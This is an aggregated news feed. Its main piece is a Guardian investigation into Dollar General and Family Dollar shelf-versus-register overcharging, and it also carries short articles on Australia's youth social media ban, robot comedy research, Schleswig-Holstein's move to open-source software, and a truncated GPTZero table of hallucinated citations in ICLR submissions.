Paul Prescod is a Jacobin contributing editor.

Dollar-stores overcharge cash-strapped customers while promising low prices

Hacker News
www.theguardian.com
2025-12-07 14:37:21
Comments...
Original Article

On a cloudy winter day, a state government inspector named Ryan Coffield walked into a Family Dollar store in Windsor, North Carolina , carrying a scanner gun and a laptop.

Inside the store, which sits along a three-lane road in a county of peanut growers and poultry workers, Coffield scanned 300 items and recorded their shelf prices. He carried the scanned bar codes to the cashier and watched as item after item rang up at a higher price.

Red Baron frozen pizzas, listed on the shelf at $5, rang up at $7.65. Bounty paper towels, shelf price $10.99, rang up at $15.50. Kellogg’s Frosted Flakes, Stouffer’s frozen meatloaf, Sprite and Pepsi, ibuprofen, Klondike Minis – shoppers were overpaying for all of them. Pedigree puppy food, listed at $12.25, rang up at $14.75.

All told, 69 of the 300 items came up higher at the register: a 23% error rate that exceeded the state’s limit by more than tenfold. Some of the price tags were months out of date.

The January 2023 inspection produced the store’s fourth consecutive failure, and Coffield’s agency, the state department of agriculture & consumer services, had fined Family Dollar after two previous visits. But North Carolina law caps penalties at $5,000 per inspection, offering retailers little incentive to fix the problem. “Sometimes it is cheaper to pay the fines,” said Chad Parker, who runs the agency’s weights-and-measures program.

a man carrying a basket
Chris Outlaw shops at Family Dollar’s King Street location in Windsor, North Carolina, on 24 November. Photograph: Cornell Watson/The Guardian

The dollar-store industry, including Family Dollar and its larger rival, Dollar General, promises everyday low prices for household essentials. But an investigation by the Guardian found that the prices listed on the shelves at these two chains often don’t materialize at checkout – in North Carolina and around the country. As the cost of living soars across America, the customers bearing the burden are those who can least afford it – customers who often don’t even notice they’re overpaying.

These overcharges are widespread.

Dollar General stores have failed more than 4,300 government price-accuracy inspections in 23 states since January 2022, a Guardian review found. Family Dollar stores have failed more than 2,100 price inspections in 20 states over the same time span, the review found.

Among these thousands of failed inspections, some of the biggest flops include a 76% error rate in October 2022 at a Dollar General in Hamilton, Ohio; a 68% error rate in February 2023 at a Family Dollar in Bound Brook, New Jersey; and a 58% error rate three months ago at a Family Dollar in Lorain, Ohio.

Many of the stores that failed state or local government checks were repeat violators. A Family Dollar in Provo, Utah, flunked 28 inspections in a row – failures that included a 48% overcharge rate in May 2024 and a 12% overcharge rate in October 2025.

a person holding a price tag
A price tag at Family Dollar on King Street in Windsor, North Carolina, on 24 November. Photograph: Cornell Watson/The Guardian

The chains’ pricing disparities are drawing increasing attention. In May, Arizona’s attorney general announced a $600,000 settlement to resolve a consumer-fraud investigation against Family Dollar. In October, Colorado’s attorney general settled with Dollar General for $400,000 after its stores failed 15 out of 23 state inspections. Dollar General has also settled with New Jersey , Vermont and Wisconsin , and both companies have settled with Ohio.

Linda Davis, a 64-year-old Family Dollar shopper in Dayton, Ohio, called the state attorney general’s office in February after walking home from the dollar store and discovering that 12 of her 23 purchases had rung up incorrectly. “I’m adding it up in my head as I’m shopping,” she told the Guardian. “But I was way off and I didn’t know why … I thought: where did I miscalculate? I’ve [only] got so much cash on me.”

Davis, who lives on social security, said she could shop elsewhere, but that would involve paying for a bus ride. “I don’t have money like that,” she said.

Both Family Dollar and Dollar General declined interview requests and did not answer detailed lists of questions from the Guardian. Instead, both sent the Guardian brief statements.

“At Family Dollar, we take customer trust seriously and are committed to ensuring pricing accuracy across our stores,” the company said. “We are currently reviewing the concerns raised and working to better understand any potential discrepancies. We continue to be focused on providing a consistent and transparent shopping experience.”

Dollar General said it was “committed to providing customers with accurate prices on items purchased in our stores, and we are disappointed any time we fail to deliver on this commitment”. In one court case in Ohio, Dollar General’s lawyers argued that “it is virtually impossible for a retailer to match shelf pricing and scanned pricing 100% of the time for all items. Perfection in this regard is neither plausible nor expected under the law.”

The Guardian’s examination of inspection failures by the two chains was based on record requests to 45 states and more than 140 counties and cities in New York, Ohio and California, along with court documents and public databases.

In nearly half of US states, information about whether customers are being overcharged was limited or unavailable. Many states do little or nothing to monitor retail stores’ pricing practices. Some, like Maryland, Idaho and Washington, do no random inspections, responding only to consumer complaints. Illinois, South Carolina and others don’t inspect at all. In 2020, auditors in Kansas revealed that these inspections were a low priority in many states. “Consumers can check price accuracy themselves,” they wrote.

Even in states with tougher enforcement, financial penalties don’t always solve the problem: in the 23 months after Dollar General agreed in November 2023 to pay Wisconsin $850,000, its stores failed 31% of their price inspections. During the same period, Wisconsin’s Family Dollar stores failed 30% of their state inspections.

a car i front of a building
A Dollar General store in Port Henry, New York, is one of two within a 5-mile radius. Photograph: Kelly Burgess/The Guardian

According to industry watchers, employees and lawsuits, overcharges often stem from labor practices within the dollar-store sector. When a company changes prices, the registers are updated automatically. But the shelf prices are not: someone needs to remove the old labels manually and replace them with new ones. In an industry known for minimal staffing, workers don’t always have time to put up the new shelf tags.

In many instances, customers may not notice that they are being charged more than what’s listed on the shelf. If they notice at the register, they may decide to put those items back – or ask a store employee to honor the shelf price.

Dollar General, in its statement, said its store teams “are empowered to correct the matter on the spot”. But customers and current and former employees said that while some dollar stores will correct the price, others refuse to make fixes at the register – and turn away customers who return later and request a refund.

“Overcharging even by a small amount per item can strain a really tight budget,” said Elizabeth M Harris, acting director of the New Jersey division of consumer affairs. “If you’ve ever gone into any store … with a child like I have, there’s chaos at the checkout counter and you’re not really paying attention.” With items being rung up quickly, she added, “consumers are trusting that the retailer is actually charging them the price that’s displayed.”

Her state settled in 2023 with Dollar General for $1.2m after finding more than 2,000 items rung up as overcharges across 58 stores.

Even if the overcharges paid by dollar-store customers are accidental, they still reflect the industry’s decision not to correct a problem it has known about for years, according to Kennedy Smith, a researcher at the non-profit Institute for Local Self-Reliance, which works to protect communities from negative impacts of big corporations.

“If they’re called on it, they’ll say, ‘Oh yeah, our mistake,’” Kennedy said. “Until they’re called on it, they’re happy to let those scanner errors bring in the millions.”

‘The cheap stuff’

When consumers feel economic pain, as they do now thanks to rising costs exacerbated by tariffs, price gouging and other inflationary pressures, one place they turn to are dollar stores. These one-stop centers for inexpensive food, clothing and housewares tend to sell in small quantities, one $1 chicken-noodle-soup can at a time. And they are relatively easy to get to: 75% of Americans live within 5 miles of a Dollar General, according to the company.

The industry’s largest player is flourishing. Todd Vasos, the CEO of Dollar General, told investors in August that his company’s quarterly sales had increased 5% over the same period last year. Some of that growth, he said, came from middle- and higher-income shoppers tightening their belts. But the company’s low-income “core customers” were spending more at the chain too.

a man holding a bag
Chris Outlaw walks to his car after leaving Family Dollar’s King Street location in Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

Those customers have been the industry’s niche from the beginning. When a 48-year-old former tobacco farmer and traveling salesman named James Luther Turner opened JL Turner and Son Wholesale Dry Goods, Shoes, Notions and Hosiery in Scottsville, Kentucky, in 1939, his mission was “to sell the cheap stuff to the poor folks”. (Someone else had cornered the market on “selling the good stuff” to Scottsville’s rich folks.)

By 1955, Turner and his eldest son, Hurley Calister “Cal” Turner Sr, were overseeing 36 stores in small southern towns. Cal Sr decided that year to co-opt the “Dollar Days” sales at big department stores and to open outlets featuring a single low price of $1. Adopting a name that nodded to the general store, he designed a bold black-and-yellow sign and that June christened the first Dollar General in Springfield, Kentucky.

Dollar General now operates over 20,000 stores in 48 states – more than any other retailer of any kind in the US. (It has long since abandoned its $1 price limit.) Though it has more than 195,000 employees and net sales of $40.6bn, the company still calls itself “America’s neighborhood general store”.

Family Dollar began in 1959 in Charlotte, North Carolina, and now operates 8,000 stores nationwide. For most of the past decade, it was owned by yet another chain, Dollar Tree, but the two brands divorced last summer.

What Dollar General and Family Dollar have in common is a conspicuous presence in places that don’t offer a lot of other retail: low-income urban neighborhoods and rural towns like Windsor.

A predominantly Black county seat of 3,400 on North Carolina’s coastal plain, Windsor used to be a retail hub. “All the streets were full on a weekend,” recalled Russell Parker, a 66-year-old retired pilot. “There were people everywhere, people playing music.” And people spending money: at the fish market, the cobbler, the independent groceries, the automotive-supply store. But today Windsor’s downtown – like many rural main streets – is pocked with empty storefronts. The town never fully recovered from Hurricane Floyd, in 1999. “Every young person that graduates from high school gets on the first thing smokin’ to somewhere else,” Parker said.

a person on a motorcycle
The King Street area of downtown Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

One supermarket remains on the edge of town. Shopping for clothes often means driving to the next county, at least for those who drive. But Windsor does have three stores that help fill the gap: a Dollar General and two Family Dollars.

At the Family Dollar that failed multiple inspections, some regulars remain vigilant. Chris Outlaw, a 54-year-old hemodialysis technician, shops there because it’s near his house and workplace. Experience has taught him to buy only a few items at once and to examine his receipts. Not all his neighbors do the same. “I’ve seen people in there with baskets full,” he said. “You can just imagine how much of that stuff didn’t ring out right, and they had so much they couldn’t catch it.”

‘Big old savings’

Customers walking into Dollar General stores are often greeted by a bright yellow sign blaring “Hello, Low Prices”– and by as many as 10,000 items cramming shelves and, often, cluttering the aisles.

“They will send you more than what you need of any product,” said Stephanie, a former lead sales associate in Louisiana. “Your shelf can only hold 10 Glade air fresheners, right? But they will send you 50.”

Rarely is there enough staffing, current and former employees say, to complete all of the tasks expected of them, including stocking shelves, ringing up sales, looking out for shoplifters, mopping floors – and updating price changes and sales stickers.

a person looking at a shelf
Chris Outlaw squeezes through an aisle packed with merchandise inside Family Dollar’s King Street location in Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

More than two dozen current and former employees of the chain in 15 states interviewed by the Guardian agreed that price discrepancies are the byproduct of the company’s employment policies. (Most, including Stephanie, spoke on the condition of anonymity because of fear of retaliation.)

Often there are only one or two people on duty. “You’re lucky if you get to work two to four hours of your eight- to 13-hour shift with another human being,” a former assistant manager in Illinois said.

Every Tuesday, employees are supposed to print and post hundreds of shelf stickers representing price changes already updated in the computer system. On Saturdays, stacks of sales stickers arrive; often, workers are expected to remove all the previous week’s stickers by 5pm and put up new stickers – as many as 1,000 of them – before closing up that night. Stickers fail to get put up, they fall off easily, and they are confusing, with some sales instant and others linked to coupons. “I threw away tags sometimes, to keep me or a co-worker out of trouble,” Stephanie admitted.

blankets and a bleach bottle on a shelf
Items on shelves at the Mineville, New York, Dollar General, which is 5 miles from the Port Henry Dollar General. Photograph: Kelly Burgess/The Guardian

A former store manager at a Dollar General in Connecticut noted that many of his customers were poor or disabled enough that they got by on public assistance. “I didn’t want people to get screwed over, but I knew that it was happening,” he said. “If I’m in the store, I’m gonna try to do the best I can for them. But at the end of the day, they’re still probably gonna get overcharged for a few things.”

Dollar General, in its statement, said it schedules time each week for “price change execution”, among other measures to ensure accuracy.

Ten current and former employees in eight states claimed that – along with allowing pricing errors caused by understaffing and overstocking – some Dollar General stores engage in a tactic designed to fool customers: special sales that don’t actually lower the price of an item. A manager from Florida, for example, sent the Guardian two photos of price stickers for Café Bustelo ground coffee. In the first photo, a sticker said “SALE” in white block letters against a red background. It advertised a markdown from $7.95 to $6.50. In the second photo, the top sticker had been peeled away to show the original price: $6.50.

A sales associate from Illinois sent photos showing cutlery with what he said was a fake original price of $8.50. “It’s trying to say that you’re making this big old savings by buying this item here,” explained the employee, “when it’s actually always been $6.95.”

Dollar General declined to comment on these workers’ claims.

‘We have little choice’

When the Ohio attorney general, Dave Yost, sued Dollar General in 2022, he submitted 114 pages of customer complaints as part of the case.

One of them came from Melanie Hutzler, who lives in Canton without a car and whose mobility is limited by arthritis and multiple sclerosis. Hutzler, 51, relies on government food assistance and said she was cautious about spending money. At the time of her complaint, she could reach two food stores on foot. Getting to the Save A Lot grocery required crossing a busy road, but getting to a Dollar General did not.

“Every single time we went into that store, something would ring up wrong,” she told the Guardian. “They never had a manager there that would fix the prices.” Hutzler said she would walk the cashier over to the shelf and point out the listed price, only to be told, “There’s nothing we can do about it.”

an exterior of a store with cars parked in front
The exterior of Family Dollar on King Street in Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

Other Ohioans expressed similar frustrations. “My 87-year-old mother and I have frequented Dollar General for years, and there have been innumerable times we have made purchases that were well higher than advertised,” wrote Robert Hevlin of Dayton. “My mother and I have literally lost thousands over the years with this company, but both of us being on social security, we have little choice in where we shop.”

In September 2023, Yost reached a $1m settlement with Dollar General, which he said had error rates at some stores that ran as high as 88%. In February 2024, he announced a $400,000 settlement with Family Dollar to resolve similar allegations. Most of that money went to charitable organizations that distribute food and personal-care items.

Both chains agreed in the settlements to tighten their pricing practices. Yost’s office continues to receive complaints. A Dollar General customer in Garfield Heights said in February that he was charged $6.35 for a carton of eggs with a shelf sticker of $5.10, but the “cashier was too busy having a personal call on her cellphone to address the price discrepancy”. The same month, a Family Dollar shopper in Genoa reported being charged $2.65 for cough medicine listed on the shelf at $1.50. “I was told by the cashier that there was nothing that could be done about it,” the complaint said.

Over in Missouri, state officials are pursuing a lawsuit that accuses Dollar General of “deceptive” pricing practices. The suit, filed in 2023, says 92 of the 147 stores the state checked failed their inspections, with discrepancies as high as $6.50 an item.

The companies declined to comment on these state lawsuits.

Dollar General has also been hit with private lawsuits, including several filed by its shareholders. In a document filed in August in federal court in Nashville, lawyers for Dollar General investors argued that understaffing, poor inventory control and overcharging were all interrelated.

The investors allege that the company deceived them by portraying itself as financially sound. In truth, the court filing says, “Dollar General’s inventory management processes were broken, which caused a massive bloat of excess product to clog the company at both its distribution centers and stores, and its workforce had been slashed.” These problems gave rise to price discrepancies and other “dire consequences”, the court filing asserts.

The filing includes the stories of 36 former employees who claimed direct knowledge that Dollar General managers and executives knew about the problems. Several reported notifying the top leadership directly. “All the prices were off in the stores,” said one of those ex-employees, a manager who monitored inventory levels in Ohio and Pennsylvania. She claimed to know firsthand, based on calls she participated in, that company vice-presidents and regional directors were aware of the “huge” price mismatches.

Price stickers and merchandise on shelves
Price tags and merchandise inside Family Dollar’s King Street location in Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

Dollar General, in response, said that the testimony of a handful of ex-workers does not prove that it misled investors. In their “years-long search for fraud”, the company’s lawyers claimed, the shareholders “came up empty”.

Earlier this year, a federal judge in New Jersey halted a class-action lawsuit against Dollar General filed by a shopper who said he was overcharged for groceries. Dollar General argued that when customers create accounts – for example, by downloading the company’s mobile app – they agree to use arbitration to resolve disputes and forfeit the right to file class-action suits. The judge agreed.

This victory for Dollar General threw up an obstacle for customers seeking justice. “Who’s going to bring a consumer arbitration with a $225 filing fee over a 50-cent overcharge?” asked Marc Dann, a former Ohio attorney general whose law firm filed the New Jersey case. “They’ve essentially closed the door to the courthouse to people.”

Dann’s firm did reach a settlement with Dollar General in another case this fall, though the details have not been made public.

‘This endless cycle’

The dollar-store chains describe themselves as mission-driven companies. “Our stores are conveniently located in neighborhoods, and often in ‘food deserts’ where other stores choose not to locate,” Family Dollar says on its website . Dollar General takes pride in offering value to families who, according to CEO Vasos, “have had to sacrifice even on the necessities”.

The industry’s critics say the cause and effect are reversed. “Dollar stores are often seen as a symptom of economic distress,” said the Institute for Local Self-Reliance’s co-executive director, Stacy Mitchell. “What we found is that they’re, in fact, a cause of it.” Sometimes, she said, a chain dollar store will open near an independent grocer and skim off enough of its business that it is forced to close. That limits the availability of fresh produce and forces shoppers to buy more packaged and processed foods.

In a statement, Dollar General said its stores often “operate along with local grocers and business owners to collectively meet customers’ needs”. It added that 7,000 of its 20,000 stores sell fresh produce and that the company also partners with local food banks “to further help nourish our neighbors in need”.

The people enduring the effects of hollowed-out local economies – and getting hit with overcharges at dollar-store chains – include residents of Essex county, New York. The county, tucked among the stately pines of the Adirondack Mountains, has a population of 37,000. It has five Dollar Generals and two Family Dollars. All seven regularly fail pricing-accuracy tests. The Dollar General in Port Henry, which sits on the shores of Lake Champlain, was fined $103,550 for failed inspections between November 2022 and June 2025.

Katelyn Miller at her home in Port Henry, New York, on 24 November.
Katelyn Miller at her home in Port Henry, New York, on 24 November. Photograph: Kelly Burgess/The Guardian

Over the course of seven inspections, 279 out of 700 tested items were overcharges – a combined error rate of just under 40%. One inspection yielded a 78% error rate, including overcharges on Flintstones vitamins, Peter Pan peanut butter and Prego pasta sauce.

The Port Henry store is 5 miles from the Mineville Dollar General, which occupies a lonely stretch of country road across from an auto-repair shop with spare parts littering its lawn. Down the block, an abandoned church presides over a stretch of grass that looks like it hasn’t been mown for years.

Aside from a whiskey warehousing operation and a health center, opportunities for employment are limited. The high-security prison built atop the iron mine for which Mineville is named closed in 2022, taking 100 jobs with it.

The local playground is littered with trash, cigarette butts and the occasional syringe. The town “is nice from the outside”, said Katelyn Miller, a 26-year-old Port Henry resident who lives with her mother, six-year-old daughter and two-year-old son. But “you hear about a lot of crack-den places, like blowing up or getting busted.’” Drug use is rampant in the county, which is 92% white. “Everybody around here seems to be on pain meds or buying someone else’s, because they’re also working themselves to death.”

When it comes to grocery shopping near Miller’s home, the choice is between the two Dollar Generals and a gas station/convenience store. “We live in a food desert,” she said, “even though you would think living in all this farmland, we would have more access.”

overgrown grass in front of church
An abandoned church sits next door to the Mineville, New York, Dollar General store. Photograph: Kelly Burgess/The Guardian

There is a Walmart 30 minutes away, in Fort Ticonderoga. Miller said she recently bought salmon there only to arrive home and discover that the $20 piece of fish had gone bad. “So I had to go to Dollar General and get the Stouffer’s,” she said, adding that she feels “caught in this endless cycle of never having food that will nourish me and my family, and instead having to get 2,000 grams of sodium because at least it has meat”.

The region’s economic straits put regulators in a bind when it comes to overcharges. Daniel Woods, the county’s director of weights and measures, said in 2023 that he didn’t always assess the full penalty on violators. “We’re not trying to put people out of business,” he told a local newspaper. “In some towns that’s their [only] store. I don’t want to pull that away from people, but at the same time, I’m trying to fix the problem.”

On the way out

When Coffield, the North Carolina inspector, visited the Windsor Family Dollar in April 2023, the pricing issues seemed to have abated. Of the 300 items he scanned, he only found five overcharges: incontinence pads, laundry sanitizer, two coffee products and, again, Red Baron pizza. With an error rate below the state’s 2% threshold, the store passed its inspection, and it did so again in November 2024.

But customers still reported problems. Chris Outlaw, the hemodialysis technician, stopped by the Family Dollar earlier this year and noticed a sale: a $1.25 savings on five bags of Cheez Doodles. He bought them but discovered on the way out that he had been charged the regular price. The manager refused to refund the difference, Outlaw said, because he had already walked through the exit door.

Another time, he saw some discounted socks near the counter that he thought would make good Christmas gifts. “I was like, ‘Oh, I like these socks, so I’ll probably give them to somebody,’” he recalled. “Nice, plushy socks.” But they rang up at a higher price, so he left the store without them.

a person outside of a family dollar store
Chris Outlaw looks at his receipt after leaving Family Dollar’s King Street location in Windsor, North Carolina. Photograph: Cornell Watson/The Guardian

During a visit in August, a Guardian reporter found the Windsor Family Dollar closed for much of the afternoon. “Be Back Soon!” read a handwritten sign taped to the door. Two waiting customers said that they frequently paid prices higher than the shelf listing, including a cook whose nearby restaurant buys some of its ingredients there. “It is aggravating,” she said. “Very aggravating.”

Workers reopened the doors after a few hours. Inside, carts of unshelved dog food and other merchandise blocked the aisles. The Guardian compared the prices of 15 items. Two of them rang up higher than advertised, including a frying pan set that was $10 on the shelf and $12 at the register. Though the cashier offered to honor the lower prices, that was still an error rate of 13% – more than six times the state’s standard.

How Australia became the testing ground for a social media ban for young people

Guardian
www.theguardian.com
2025-12-07 14:00:29
From nascent policy idea in one state to passing federal parliament in just days, it’s been a whirlwind journey for the world-first legislation that will take effect from 10 December In late 2023, the South Australian premier’s wife put down a book she had been reading. It was Jonathan Haidt’s The A...
Original Article

In late 2023, the South Australian premier’s wife put down a book she had been reading. It was Jonathan Haidt’s The Anxious Generation.

“[She] said to me you better bloody do something about this ... and then we got to work,” Peter Malinauskas later recalled in an ABC interview.

An American social psychologist, Haidt prescribed a social media ban for those aged under 16 as the solution to the mental health ills he believes are caused by the platforms.

In Australia he found a willing test subject.

A bumper sticker solution?

The ban was considered first by the states. South Australia commissioned a review and then held a summit on the subject in partnership with New South Wales.

Facebook whistleblower Frances Haugen spoke at day one of the summit, which was held in NSW. In emails obtained by Crikey under freedom of information, the South Australian government wasn’t as keen to hear from Haugen since she had described a ban as a “bumper sticker solution”.

Sign up: AU Breaking News email

Haidt spoke via video link on day two of the summit, which was held in South Australia, saying he was “thrilled” with the potential for a ban.

“We need to free kids from these traps by raising the age for opening social media to 16.”

And so the campaign for a ban began.

Following the summit, the federal government faced pressure to implement a national ban rather than having a patchwork of states implementing their own regulations .

Less than a year out from the federal election, the then opposition leader, Peter Dutton, made it a signature policy for the Coalition .

News Corp went all in, launching the “Let Them Be Kids” campaign, which coincided with Meta’s announcement it would not enter into new deals to pay media companies for news content. Front pages advocating for the ban pushed things along.

The prime minister, Anthony Albanese, and Nova radio host Wippa launched a campaign titled “36 months”, advocating for the age to be raised from 13 to 16. Albanese appeared on Wippa’s program at least five times in the past two years.

The Labor government never publicly confirmed it, but its adoption of the idea and rush to pass the law before parliament ended for the year in December 2024 was seen as a bid to take potential election issues off the table .

In Albanese’s telling, the policy was designed to leave the responsibility for keeping kids off social media to the government. He framed the policy as a bid to get kids off devices and on to the footy fields and netball courts.

The countdown is on

After the legislation was introduced, it was passed by the parliament in a matter of days, while a committee barely reviewed the bill.

The law pushed decisions about which platforms were covered and how the ban would work to the end of 2025. It placed the responsibility for enforcement of the ban on the platforms themselves.

The then communications minister, Michelle Rowland, said YouTube would have an exemption on education grounds, but that was not defined in the legislation.

A $22.5m technology trial run by a UK firm associated with age assurance providers got under way, with the deadline set for after the federal election. The top line finding that it was workable was emphasised by the government after its release, without closer examination of some of the shortfalls .

After the Albanese government was returned to power in the May election with an even bigger majority, Anika Wells was appointed the new communications minister.

TikTok and Meta were not happy that YouTube had been excluded from the ban. YouTube Shorts is very similar to Reels and TikTok’s short-form videos, and the platforms couldn’t see why YouTube was given a broad exemption for a similar product.

The eSafety commissioner advised the minister in July that it was her view YouTube should not be excluded from the ban, pointing to the algorithms used to determine the types of videos promoted to teens on the platform and the harms reportedly encountered on the service. Wells agreed .

Google threatened legal action and cancelled a planned showcase at Parliament House.

Ultimately the eSafety commissioner decided the ban should cover: TikTok, Facebook, Instagram (and, as a result of the account structure, Threads), X, Snapchat, YouTube, Reddit, Kick and Twitch. Other platforms could be added later, as determined by the government.

With the countdown on for the ban to take effect, Meta, TikTok, Snapchat, Reddit, Twitch and Kick have all said they will comply with the ban.

A high court challenge against the ban was lodged but the hearing has been delayed until February.

News Corp has done a victory lap for the ban, with News Corp Australia’s executive chair, Michael Miller, describing social media platforms as “true monsters” who “torment our children” .

News Corp’s owners, the Murdoch family, are expected to hold a stake in the US version of TikTok.

A robot walks into a bar: can a Melbourne researcher get AI to do comedy?

Guardian
www.theguardian.com
2025-12-07 14:00:23
Machines can be funny when they mistakenly bump into things – but standup is a tough gig even for humans Robots can make humans laugh – mostly when they fall over – but a new research project is looking at whether robots using AI could ever be genuinely funny. If you ask ChatGPT for a funny joke, it...
Original Article

Robots can make humans laugh – mostly when they fall over – but a new research project is looking at whether robots using AI could ever be genuinely funny.

If you ask ChatGPT for a funny joke, it will serve you up something that belongs in a Christmas cracker: “Why don’t skeletons fight each other? Because they don’t have the guts.”

The University of Melbourne’s Dr Robert Walton, a dean’s research fellow in the faculty of fine arts and music, is taking a different approach to working out whether robots can do comedy.

Thanks to an Australian Research Council grant of about $500,000, he will train a swarm of robots in standup. And, at least in the beginning, they won’t use words.

“Robots are good at making people laugh … they are humorous because they break and they bump into things, and so we’re laughing at them,” Walton says.

“However, when they try to do something funny on purpose, it ain’t so funny any more. We don’t laugh at them because we really, deep down, don’t believe that they can be funny.”

Saturday Night Live’s Tina Fey said exactly that at this year’s Edinburgh comedy festival. AI is “unable to be funny”, she said.

But what Walton is looking at is not AI based on text or large language models.

He is going to start with non-verbal communication, something that has to be performed rather than written. The fundamentals of comedy, he says, are timing, reading the room, the connection with the audience, along with physical comedy such as clowning.

So his ensemble of about 10 robots – which will not be androids but ground vehicles between 40cm and 2 metres tall – will work with humans to learn how to be funny visually in the first instance.

Dr Robert Walton, dean’s research fellow in the faculty of fine arts and music at University of Melbourne.
Dr Robert Walton, dean’s research fellow in the faculty of fine arts and music at University of Melbourne. Photograph: Charlie Kinross/The Guardian

They’ll sense movement, the way a head tilts, or when someone laughs.

“We’re giving these systems more senses, like human senses … giving them ears, not just listening for words but for things like the gaps in between words, the rhythms of things,” he says.

He likens them to babies who don’t yet know how to make sense of the inputs.

“That’s partly what we’re trying to do with machine learning and AI – giving it more ways to sense and more ways to build a more holistic understanding of what it means to be in the world,” he says.

“It is in standup comedy, really, that the connection between the robot and the audience is so clear, and there’s so much feedback going on.”

Asked if eventually they will add voices, Walton says “potentially”. “Depends how we go,” he adds.

There is a tension here, as the performance industry is just one of those where jobs are threatened by AI, and AI steals creative content .

skip past newsletter promotion

Walton’s project is not about creating robots that will take over comedy festivals, though, but about investigating whether believable comedy is something robots can be taught, to better understand how machines might use both humour and manipulation, and to better understand human-robot interactions and their risks and benefits.

A paradox at the heart of his work, Walton says, is that humour can be used to disarm a situation but can also be used coercively.

He says it might be interesting for comedians to work with robots with comedic timing, but the same techniques could be used, for example, by care robots that can learn to say the right thing at the right time to cheer people up.

Robots run, punch and score at World Humanoid Robot Games in China – video

“But while I’m looking into this work of building belief in comedy performance by machines, I’ve got this other eye on what does it mean, and how might this be used coercively?” he says.

Many doubt whether that first step, making robots funny, is possible.

At this year’s G’Day USA arts gala, Australian comedian and polymath Tim Minchin told the crowd that humans are interested in “the agency of their fellow human behind the art, struggling, striving, making choices and errors”. “AI might come for the perfectible stuff but never for our flaws,” he says.

“Our flaws are our humanity.”

The director of the Melbourne comedy festival, Susan Provan, says what makes comedy enjoyable is “the authentic human originality”.

“A performer is bringing something only they can bring, because they are bringing their individual lived experience to the material,” she says.

“What’s funny is something that comes from a moment, a magic moment, a pause, an interaction with an audience member, an idea that connects or doesn’t connect.

“You’d be laughing at the robot stuffing up. That’s what would be funny.”

Goodbye, Microsoft: Schleswig-Holstein Relies on Open Source and Saves Millions

Hacker News
www.heise.de
2025-12-07 13:21:24
Comments...
Original Article

The state administration of Schleswig-Holstein is making a remarkable U-turn in its IT strategy and consistently relying on open source . After the migration from proprietary Microsoft software to free solutions was initially accompanied by problems and criticism , Digitalization Minister Dirk Schrödter (CDU) can now report a significant success: According to his ministry, the state will save over 15 million euros in license costs for Windows, Microsoft Office & Co. next year alone. It is expected to be similar in the following years.

In contrast, there would be one-time investments of nine million euros in 2026, explained the Ministry of Digitalization to the Kieler Nachrichten . These would have to be made for the conversion of workplaces and the further development of solutions with free software in the next 12 months. Given the annual savings, this sum will pay for itself in less than a year. In the past, the state transferred millions to the US company Microsoft, primarily for the use of office software and other programs.

The department sees the departure from this "vendor lock-in" – the dependence on a single large provider – as a clear signal for greater independence and sustainable digitalization. The financial incentive now underscores that digital sovereignty can be not only a political buzzword but also an economic gain.

The numbers speak for themselves: outside the tax administration, almost 80 percent of workplaces in the state administration have already been switched to the open-source office software LibreOffice. Schrödter thus confirms a course that reduces technical and economic dependence on individual manufacturers. The consequence of the conversion was already evident recently, as Schrödter emphasized in an interview with c't . Regarding the status of Microsoft license cancellations, he said: "We are at almost 80, without the tax administration." For tax matters, the state finance ministers have "given themselves a clear timetable for the switch." Recently, the Christian Democrat also emphasized, according to the Südtiroler Wirtschaftszeitung, that the state has entered a marathon, not just a sprint.

The remaining 20 percent of workplaces are currently still dependent on Microsoft programs such as Word or Excel, as there is a technical dependency on these programs in certain specialized applications. According to Schrödter, however, the successive conversion of these remaining computers is the stated goal.

Despite the savings and the almost completed migration in large parts of the administration, the opposition continues to criticize the quality of the conversion. SPD state parliament member Kianusch Stender pointed out to the Kieler Nachrichten: "It may be that on paper 80 percent of workplaces have been converted. But far fewer than 80 percent of employees can now work with them properly." Errors in the migration are "still present." The initial difficulties in introducing the open-source programs have apparently led to ongoing frustration among some employees in certain areas.

The Green state parliament member Jan Kürschner also admitted in an interview with heise online that such a comprehensive conversion would not go without friction. But he emphasized the long-term nature of the project and the necessity of fundamentally rethinking administrative processes: "With the change, there is an opportunity to truly rethink the administration and free ourselves from old burdens. That is the great added value." If only a one-to-one conversion is made, it might certainly "stumble at one point or another." But those who truly optimize administrative processes will likely find in the end: "Open source is the better way."

The challenge now is to resolve the initial migration problems and acceptance difficulties and to further develop the open-source solutions so that they fully meet the requirements of a modern state administration. The savings achieved give Schleswig-Holstein more financial leeway for this.

( nie )

Don't miss any news – follow us on Facebook , LinkedIn or Mastodon .

This article was originally published in German . It was translated with technical assistance and editorially reviewed before publication.

At least 50 hallucinated citations found in ICLR 2026 submissions

Hacker News
gptzero.me
2025-12-07 13:16:26
Comments...
Original Article
Title Average Review Rating Paper Link Citation Check Scan Link Example of Verified Hallucination Comment TamperTok: Forensics-Driven Tokenized Autoregressive Framework for Image Tampering Localization 8.0 TamperTok: Forensics-Driven Tokenized Autoregressive Framework for Image Tampering Localization | OpenReview https://app.gptzero.me/documents/4645494f-70eb-40bb-aea7-0007e13f7179/share Chong Zou, Zhipeng Wang, Ziyu Li, Nan Wu, Yuling Cai, Shan Shi, Jiawei Wei, Xia Sun, Jian Wang, and Yizhou Wang. Segment everything everywhere all at once. In Advances in Neural Information Processing Systems (NeurIPS), volume 36, 2023. This paper exists, but all authors are wrong. MixtureVitae: Open Web-Scale Pretraining Dataset With High Quality Instruction and Reasoning Data Built from Permissive Text Sources 8.0 MixtureVitae: Open Web-Scale Pretraining Dataset With High Quality Instruction and Reasoning Data Built from Permissive Text Sources | OpenReview https://app.gptzero.me/documents/bfd10666-ea2d-454c-9ab2-75faa8b84281/share Dan Hendrycks, Collin Burns, Steven Basart, Andy Critch, Jerry Li, Dawn Ippolito, Aina Lapedriza, Florian Tramer, Rylan Macfarlane, Eric Jiang, et al. Measuring massive multitask language understanding. In Proceedings of the International Conference on Learning Representations (ICLR), 2021. The paper and first 3 authors match. The last 7 authors are not on the paper, and some of them do not exist Catch-Only-One: Non-Transferable Examples for Model-Specific Authorization 6.0 Catch-Only-One: Non-Transferable Examples for Model-Specific Authorization | OpenReview https://app.gptzero.me/documents/9afb1d51-c5c8-48f2-9b75-250d95062521/share Dinghuai Zhang, Yang Song, Inderjit Dhillon, and Eric Xing. Defense against adversarial 